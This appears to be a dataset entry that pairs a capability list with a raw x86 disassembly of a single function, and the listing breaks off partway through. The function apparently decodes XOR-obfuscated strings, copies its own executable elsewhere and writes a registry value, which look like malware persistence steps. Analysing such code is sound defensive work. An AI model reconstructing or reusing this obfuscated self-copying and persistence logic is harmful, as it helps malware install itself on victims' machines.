Function at 0x4166d0
Capabilities:
Check if file exists
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503dd3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x470
mov dword [ebp - 0x20], 0
xor ecx, ecx
push esi
push edi
mov dword [ebp - 0x2d], 0x8d8c8fa5
mov dword [ebp - 0x29], 0x9c8aa681
mov dword [ebp - 0x25], 0x819781
mov byte [ebp - 0x21], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xb
jb 0x416726
lea ecx, [ebp - 0x2d]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416740
mov esi, closesocket
sub ecx, edx
mov edx, dword [0x533b54]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x41817f
cmp dword [0x533b58], 0x10
mov eax, 0x533b44
push edx
cmovae eax, dword [0x533b44]
push eax
push ecx
lea eax, [ebp - 0x2d]
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0x1ec]
call fcn.0046d420
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x9e8e9aa6
mov dword [ebp - 0x2a], 0x9e80ad8c
mov dword [ebp - 0x26], 0x8090979f
mov word [ebp - 0x22], 0x100
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0xc
jb 0x4167b0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4167c8
sub ecx, edx
mov eax, esi
mov edx, dword [0x533b54]
sub eax, edx
cmp eax, ecx
jb 0x418184
cmp dword [0x533b58], 0x10
mov eax, 0x533b44
push edx
cmovae eax, dword [0x533b44]
push eax
push ecx
lea eax, [ebp - 0x2e]
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0x27c]
call fcn.0046d420
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x2b], 0x9cbeafa0
mov dword [ebp - 0x27], 0x959b8f89
mov word [ebp - 0x23], 0x83
mov byte [ebp - 0x21], 1
nop word [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x416830
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416848
sub ecx, edx
mov eax, esi
mov edx, dword [0x533b54]
sub eax, edx
cmp eax, ecx
jb 0x418189
cmp dword [0x533b58], 0x10
mov eax, 0x533b44
push edx
cmovae eax, dword [0x533b44]
push eax
push ecx
lea eax, [ebp - 0x2b]
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0x15c]
call fcn.0046d420
push 0x200
lea eax, [ebp - 0x480]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x480]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1c4], 0
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x1c0], 0
movups xmmword [ebp - 0x1d4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4168e1
sub ecx, edx
lea eax, [ebp - 0x480]
push ecx
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00402810
mov dword [ebp - 0x38], 0x1e
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x2e], 0xada8a5a5
mov dword [ebp - 0x2a], 0xa0bfafa1
mov dword [ebp - 0x26], 0xb5a7b3b5
mov word [ebp - 0x22], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0xc
jb 0x416925
lea eax, [ebp - 0x2e]
mov byte [ebp - 0x21], 0
push eax
call fcn.004eb5e1
mov edx, eax
add esp, 4
test edx, edx
je 0x416e23
mov ecx, edx
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x5c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416967
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x5c]
call fcn.00402810
lea eax, [ebp - 0x1f]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x5c]
mov word [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1d], 0
call fcn.00465770
cmp dword [ebp - 0x1d8], 0x10
lea ecx, [ebp - 0x1ec]
mov edx, dword [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x48]
mov edi, dword [ebp - 0x1dc]
sub eax, edx
mov dword [ebp - 0x20], edx
push edi
push ecx
cmp edi, eax
ja 0x4169e8
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x5c]
mov dword [ebp - 0x4c], eax
lea eax, [esi + edx]
push eax
call fcn.004de630
mov ecx, dword [ebp - 0x20]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x4169f8
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x20]
push edi
call fcn.0046b810
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
push 0x536240
cmovae esi, dword [ebp - 0x5c]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x41818e
test esi, esi
je 0x416a61
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416a21
sub ecx, edx
je 0x416a61
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x416a52
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x416a52
cmp eax, 0x20
je 0x416a52
cmp eax, 0x45
je 0x416a52
cmp eax, 0x24
jne 0x416a61
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x416a7e
push 0x536240
call fcn.004dbee3
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.00416110
test al, al
je 0x416deb
mov dword [ebp - 0x19], 0x89938fc7
xor ecx, ecx
mov word [ebp - 0x15], 0x100
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x416a90
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x14], 0
mov word [ebp - 0x1f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x1d], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416ab2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x4c]
sub eax, edx
cmp eax, ecx
jb 0x418194
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0xa4]
call fcn.0046d420
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1ec]
cmp dword [ebp - 0x1d8], 0x10
mov esi, dword [ebp - 0x90]
mov eax, esi
cmovae ecx, dword [ebp - 0x1ec]
mov edi, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x94]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x416b53
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
lea esi, [eax + edx]
push esi
call fcn.004de630
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xa4]
jmp 0x416b66
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xa4]
push dword [ebp - 0x38]
push edi
call fcn.0046b810
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x19]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x8c]
call fcn.00465770
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x38], 0xfe
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x416c2f
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416c25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418199
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x416c82
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416c78
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418199
push ecx
push edx
call fcn.004dcbd1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0x74]
mov dword [ebp - 0x90], 0xf
mov ecx, esp
mov byte [ebp - 0xa4], 0
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
jne 0x416db3
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
push 0
cmovae ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x416db3
movaps xmm0, xmmword [0x526200]
xor ecx, ecx
movups xmmword [ebp - 0x10b], xmm0
mov dword [ebp - 0xeb], 0x695d7e67
movaps xmm0, xmmword [0x525810]
movups xmmword [ebp - 0xfb], xmm0
mov dword [ebp - 0xe7], 0x7f667d7f
mov dword [ebp - 0xe3], 0x61414e7f
mov word [ebp - 0xdf], 0x7b
mov byte [ebp - 0xdd], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x10b], al
inc ecx
cmp ecx, 0x2d
jb 0x416d40
lea eax, [ebp - 0x20]
mov byte [ebp - 0xdd], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x10b]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x416db3
push dword [ebp - 0x64]
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
lea eax, [ebp - 0x1ec]
cmovae ecx, dword [ebp - 0x74]
cmp dword [ebp - 0x1d8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1ec]
push 1
push 0
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x416deb
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416de1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41819e
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x416e23
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416e19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181a3
push ecx
push edx
call fcn.004dcbd1
add esp, 8
movaps xmm0, xmmword [0x524e90]
xor ecx, ecx
movups xmmword [ebp - 0x31], xmm0
mov byte [ebp - 0x21], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0xf
jb 0x416e34
lea eax, [ebp - 0x31]
mov byte [ebp - 0x21], 0
push eax
call fcn.004eb5e1
mov edx, eax
add esp, 4
test edx, edx
je 0x41806b
mov ecx, edx
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x5c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416e76
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x5c]
call fcn.00402810
lea eax, [ebp - 0x1f]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x5c]
mov word [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1d], 0
call fcn.00465770
cmp dword [ebp - 0x148], 0x10
lea ecx, [ebp - 0x15c]
mov esi, dword [ebp - 0x48]
mov eax, esi
cmovae ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x4c]
sub eax, edx
mov edi, dword [ebp - 0x14c]
push edi
push ecx
cmp edi, eax
ja 0x416eef
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
lea esi, [eax + edx]
push esi
call fcn.004de630
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x416f05
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x20]
push edi
call fcn.0046b810
mov edi, dword [ebp - 0x14c]
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
push 0x536240
cmovae esi, dword [ebp - 0x5c]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x4181a8
test esi, esi
je 0x416f70
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416f30
sub ecx, edx
je 0x416f70
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x416f61
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x416f61
cmp eax, 0x20
je 0x416f61
cmp eax, 0x45
je 0x416f61
cmp eax, 0x24
jne 0x416f70
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x416fe9
push 0x536240
call fcn.004dbee3
add esp, 4
mov dword [ebp - 0x1ac], 0
cmp dword [ebp - 0x48], 0x10
lea edx, [ebp - 0x5c]
xorps xmm0, xmm0
mov dword [ebp - 0x1a8], 0
cmovae edx, dword [ebp - 0x5c]
mov ecx, edx
movups xmmword [ebp - 0x1bc], xmm0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416fb0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1bc]
call fcn.00402810
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1bc]
mov eax, dword [ebp - 0x38]
or eax, 1
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
call fcn.00416110
mov byte [ebp - 0x39], 0
test al, al
je 0x416fed
mov byte [ebp - 0x39], 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x38], 1
je 0x417034
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x417034
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41702a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181ae
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x39], 0
je 0x418037
mov dword [ebp - 0x19], 0x89938fc7
xor ecx, ecx
mov word [ebp - 0x15], 0x100
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x417050
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x14], 0
mov word [ebp - 0x1f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x1d], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417072
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x4c]
sub eax, edx
cmp eax, ecx
jb 0x4181b3
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x17]
lea ecx, [ebp - 0xa4]
call fcn.0046d420
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov edx, dword [ebp - 0x94]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x90]
sub eax, edx
mov dword [ebp - 0x38], edx
push edi
push ecx
cmp edi, eax
ja 0x417118
cmp dword [ebp - 0x90], 0x10
lea esi, [ebp - 0xa4]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xa4]
mov dword [ebp - 0x94], eax
lea eax, [esi + edx]
push eax
call fcn.004de630
mov ecx, dword [ebp - 0x38]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xa4]
jmp 0x417131
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xa4]
push dword [ebp - 0x38]
push edi
call fcn.0046b810
mov edi, dword [ebp - 0x14c]
mov dword [ebp - 0x1f4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0x1f0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x204], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x19]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x204]
call fcn.00465770
mov dword [ebp - 0xac], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xbc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x1f0]
cmp ecx, 0x10
jb 0x41720e
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417204
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181b8
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x417267
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41725d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181b8
push ecx
push edx
call fcn.004dcbd1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x90], 0xf
mov ecx, esp
mov byte [ebp - 0xa4], 0
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
jne 0x417f98
cmp dword [ebp - 0xa8], 0x10
lea ecx, [ebp - 0xbc]
push 0
cmovae ecx, dword [ebp - 0xbc]
lea eax, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x417f98
push 0x104
lea eax, [ebp - 0x388]
mov dword [ebp - 0x20], 0x104
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x388]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x526a70]
xor ecx, ecx
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], 0xdc9788d6
mov dword [ebp - 0xc8], 0x48b8b7b5
mov dword [ebp - 0xc4], 0x575144
mov byte [ebp - 0xc0], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 0x1b
jb 0x417340
mov byte [ebp - 0xc0], 0
xor ecx, ecx
mov dword [ebp - 0x42], 0x98c4cacb
mov dword [ebp - 0x3e], 0xcdce83
mov byte [ebp - 0x3a], 1
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 7
jb 0x417370
mov byte [ebp - 0x3a], 0
xor ecx, ecx
mov dword [ebp - 0x1c], 0x98c4cacb
mov dword [ebp - 0x18], 0xcdce9f
mov byte [ebp - 0x14], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 7
jb 0x417396
xorps xmm0, xmm0
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x194], 0
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x190], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4173d0
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.00402810
mov byte [ebp - 4], 0x11
xor ecx, ecx
movaps xmm0, xmmword [0x526540]
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x134], 0xdc9dd5d9
mov dword [ebp - 0x130], 0x20aaacd2
mov word [ebp - 0x12c], 0x23
mov byte [ebp - 0x12a], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x144], al
inc ecx
cmp ecx, 0x19
jb 0x417424
lea eax, [ebp - 0x1a4]
mov byte [ebp - 0x12a], 0
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x128]
call fcn.004698d0
add esp, 4
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.00465770
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x17c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov ecx, dword [ebp - 0xac]
cmovae edx, dword [ebp - 0xbc]
mov esi, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x178]
sub eax, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x38], esi
push ecx
push edx
cmp ecx, eax
ja 0x417523
cmp dword [ebp - 0x178], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x17c], eax
lea esi, [ebp - 0x18c]
cmovae esi, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x38]
add eax, esi
push eax
call fcn.004de630
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov ecx, dword [ebp - 0x38]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x18c]
jmp 0x417536
mov byte [ebp - 0x17], 0
push dword [ebp - 0x17]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.0046b810
mov dword [ebp - 0x224], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x234], xmm0
mov dword [ebp - 0x220], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x234], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x224], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x42]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x234]
call fcn.00465770
mov dword [ebp - 0x164], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov ecx, dword [ebp - 0x164]
cmovae edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x160]
sub eax, ecx
mov dword [ebp - 0x18], ecx
push edi
push edx
cmp edi, eax
ja 0x41763f
cmp dword [ebp - 0x160], 0x10
lea esi, [ebp - 0x174]
lea eax, [edi + ecx]
cmovae esi, dword [ebp - 0x174]
mov dword [ebp - 0x164], eax
lea eax, [esi + ecx]
push eax
call fcn.004de630
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x174]
jmp 0x417658
mov byte [ebp - 0x17], 0
lea ecx, [ebp - 0x174]
push dword [ebp - 0x17]
push edi
call fcn.0046b810
mov edi, dword [ebp - 0x14c]
mov dword [ebp - 0x20c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0x208], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x21c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x21c]
call fcn.00465770
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x208]
cmp ecx, 0x10
jb 0x41771a
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417710
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181bd
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x417773
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417769
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181bd
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x220]
cmp ecx, 0x10
jb 0x4177cc
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4177c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181bd
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x417825
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41781b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181bd
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x41787e
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417874
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181bd
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x118], 0
